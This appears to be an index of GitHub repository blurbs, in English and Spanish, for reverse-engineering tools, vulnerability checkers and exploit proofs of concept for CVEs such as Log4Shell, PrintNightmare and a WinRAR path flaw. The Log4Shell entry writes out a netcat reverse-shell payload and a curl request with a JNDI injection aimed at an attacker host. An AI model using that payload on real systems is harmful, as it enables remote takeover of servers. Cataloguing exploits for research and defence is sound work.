bincat

Introduction What is BinCAT? BinCAT is a static Binary Code Analysis Toolkit, designed to help reverse engineers, directly from IDA or using Python for automation. It features: value analysis registers and memory taint analysis type reconstruction and propagation backward and forward analysis...

CVE-2018-20250

exp for Extracting Code Execution From Winrar poc by Ridter how to use ? you just need to install python 3.7, and prepare a evil file you want to run, set the values you want, this exp script will generate the evil archive file automatically! 1. set the values you want ... ... The archive filenam...

s2-062

s2-062 Remote Code Execution S2-062 CVE-2021-31805 Verification POC Verification method vulfocus range issue The poc inside validates against the s2-061 range, with the parameter id; the new range uses the parameter name The main reason for identifying it as id is that I can't think of any good...

secure-agent-playbook

Secure Agent Playbook Un playbook de seguridad de código abierto para agentes de IA. Procedimientos estructurados y basados en OWASP que permiten a los agentes realizar tareas de ingeniería de seguridad — desde la revisión de código hasta las auditorías de seguridad de agentes de IA. Tabla de...

Flowise-RCE

Flowise-RCE CVE-2025-58434 & CVE-2025-59528...

CVE-2021-1675

CVE-2021-1675 Implementación de Impacket del PrintNightmare PoC creado originalmente por Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Probado en un controlador de dominio 2019 totalmente parcheado Ejecuta DLL maliciosas de forma remota o local Instalación Antes de ejecutar el exploit...

blutter

Blutter Flutter Mobile Application Reverse Engineering Tool by Compiling Dart AOT Runtime Currently the application supports only Android libapp.so arm64 only. Also the application is currently work only against recent Dart versions. For high priority missing features, see TODO Environment Setup...

cve-2021-1647

CVE-2021-1647 Vulnerabilidad de ejecución remota de código en Microsoft Defender INFO Contraseña:infected...

CVE-2022-26134_check

CVE-2022-26134check The script is used to check remotely if a Confluence server is vulnerable to the CVE-2022-26134 vulnerability. This vulnerability is a remote code execution flaw that allows an attacker to execute arbitrary code on the server if left unpatched. This vulnerability was being...

vulnerability-exploitation

vulnerability-exploitation Local Root vulnerability- CVE-2019-13272 / Security Bypass Vulnerability – CVE-2019-14287/Google Android - 'Stagefright' Remote Code Execution - CVE-2015-1538 Absolutely, I always choose Linux vulnerability, but then I had to choose different vulnerability else because ...

CVE-2020-7247

CVE 2020-7247 Exploit de PoC para OpenSMTPD 6.4.0...

CVE-2019-9791

Cadena de exploits para CVE-2019-9791 y CVE-2019-11708 contra Firefox 65.0 Funciona contra Firefox 65.0 en Windows 64 bits. La parte de CVE-2019-11708 está tomada del exploit de 0vercl0k: https://github.com/0vercl0k/CVE-2019-11708 El exploit utiliza CVE-2019-9791 para obtener una primitiva de...

IOFireWireFamily-overflow

IOFireWireFamily-overflow IOFireWireFamily-overflow es un exploit de prueba de concepto para CVE-2016-7608, un desbordamiento de búfer en IOFireWireUserClient que se corrigió en macOS Sierra 10.12.2. Esta vulnerabilidad puede provocar una denegación de servicio o posiblemente la ejecución de códi...

CVE-2021-44228-Apache-Log4j-Rce

Uso: 1. ejecutando RMIServer 2. ejecutando Main...

CVE-2026-28326-check

SolarWinds Access Rights Manager Unauthenticated RCE — Vulnerability Detection Script An unauthenticated patch-state check for CVE-2026-28326, the unauthenticated remote code execution vulnerability in SolarWinds Access Rights Manager ARM, fixed in ARM 2026.2.1 on 2026-09-17. CWE-798, CVSS 8.8 Hi...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convertir a Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Prueba de concepto Log4j P...

CVE-2020-0601

CVE-2020-0601 : Explotación de CVE CurveBall Este script de Ruby se puede utilizar para suplantar una autoridad de certificación legítima y generar un certificado que será considerado válido para equipos Windows afectados por la vulnerabilidad CurveBall. Necesitas obtener un certificado provenien...

CVE-2021-30461

CVE-2021-30461 VOIP RCE Technical details https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/ YouTube : https://www.youtube.com/watch?v=9VBI6Lq-Rw Follow us Vulnmachines YouTube Twitter Facebook LinkedIn...

CVE-2024-1642470

Vulnerabilidad de ejecución remota de código en el controlador principal genérico USB de Windows CVE-2024-1642470 Descripción general Este repositorio contiene un código de explotación de prueba de concepto PoC y un script de detección para la vulnerabilidad de ejecución remota de código en el...

Cve-2024-32002-poc

CVE-2024-32002 RCE PoC Overview This repository contains a Proof of Concept PoC for CVE-2024-32002, a Remote Code Execution RCE vulnerability in Git submodules. The exploit demonstrates how a malicious payload can be triggered via a recursive clone of a Git repository. Repository Setup Before...